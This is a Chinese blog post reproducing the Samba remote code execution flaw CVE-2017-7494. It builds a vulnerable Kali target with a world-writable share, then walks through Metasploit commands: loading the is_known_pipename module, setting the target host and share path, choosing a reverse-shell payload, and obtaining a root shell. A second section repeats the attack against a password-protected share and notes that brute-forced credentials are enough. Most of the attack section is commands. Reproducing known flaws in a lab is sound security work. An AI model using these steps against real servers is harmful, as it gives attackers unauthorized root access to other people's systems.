Samba CVE-2017-7494 reproduce
震惊!SMB惊现远程代码执行漏洞,有账号认证的也能被攻击!(CVE-2017-7494)附复现过程
2017-05-25 guanguan,Aries RCDbg
https://mp.weixin.qq.com/s/qWFe3yBg6NUU_kyVRiAzeA
网络上流传的EXP的利用方法未指出如何攻击有帐号密码认证的SAMBA,但其实……
如果通过爆破得到了密码,依然能够成功攻击。
0x01 概述
Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,Samba服务允许恶意的用户上传类库到可读可写的共享目录进而导致服务器远程代码执行。
漏洞编号:CVE-2017-7494
漏洞等级:严重
影响版本:漏洞影响了Samba 3.5.0 之后的版本,不包含4.6.4/4.5.10/4.4.14
漏洞利用条件
-
服务端共享目录的访问权限
-
服务器端共享目录的写入权限
-
服务端共享目录的绝对路径已知或者可被暴力猜解
0x02 漏洞复现
1. 靶机环境搭建
靶机环境系统使用 Kali 2.0:
Samba版本:4.1.17
配置samba的共享目录:
#创建一个共享目录
root@kaili:~# mkdir /home/share
#设置权限
root@kali:~# chmod 777 /home/share
修改samba配置文件:
#编辑配置文件
root@kali:~# gedit /etc/samba/smb.conf
在配置文件末尾添加一个新的配置:
[myshare]
comment=test
browseable=yes #可读
writeable=yes #可写
path=/home/share #设置目录(上一步创建的共享目录)
guest ok=yes #允许匿名访问
启动服务:
root@kali:~# service smbd start
2. Metasploit 利用
a. 更新msf利用模块:
该漏洞的利用poc已经在metasploit的github上更新。
下载地址:
https://github.com/hdm/metasploit-framework/blob/module/CVE-2017-7494/modules/exploits/linux/samba/is_known_pipename.rb
将模块更新到kali下metasploit的目录中:
/usr/share/metasploit-framework/modules/exploits/linux/samba/is_known_pipename.rb
b. 设置模块:
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > show options
此处需要设置的参数有:
#设置目标IP地址
msf exploit(is_known_pipename) > set rhost 192.168.10.62
rhost => 192.168.10.62
#设置smb目录,这里靶机是/home/share
msf exploit(is_known_pipename) > set smb_share_base /home/share
smb_share_base => /home/share
#设置系统版本
msf exploit(is_known_pipename) > set target 0
target => 0
#设置payload
msf exploit(is_known_pipename) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
c. 执行:
msf exploit(is_known_pipename) > exploit
至此攻击就可以完成了,我们直接拿到了root权限的shell,但是通常管理员为了安全会对smb服务设置账号密码,如果在有账号密码的环境下怎么办呢?
3. 需要Samba认证的攻击
a. 重新修改靶机配置如下:
root@kali:~# gedit /etc/samba/smb.conf
设置共享目录不允许guest访问:
[myshare]
comment=test
browseable=yes
writeable=yes
path=/home/share
guest ok=yes
#删除guest ok=yes 不允许guest用户访问
在 [global] 设置选项中添加配置:
security = user
设置smb用户:
#添加用户
root@yunxu:/# useradd smbuser
#设置密码
root@yunxu:/# smbpasswd -a smbuser
New SMB password:
Retype new SMB password:
#重启服务
root@yunxu:/# service smbd restart
b. 在msf中设置Samba服务认证:
msf exploit(is_known_pipename) > set SMBUSER smbuser
SMBUser => smbuser
msf exploit(is_known_pipename) > set SMBPASS 123123
SMBPass => 123123
c. 执行:
msf exploit(is_known_pipename) > exploit
0x03 漏洞相关链接:
https://www.samba.org/samba/security/CVE-2017-7494.html
http://www.freebuf.com/vuls/135624.html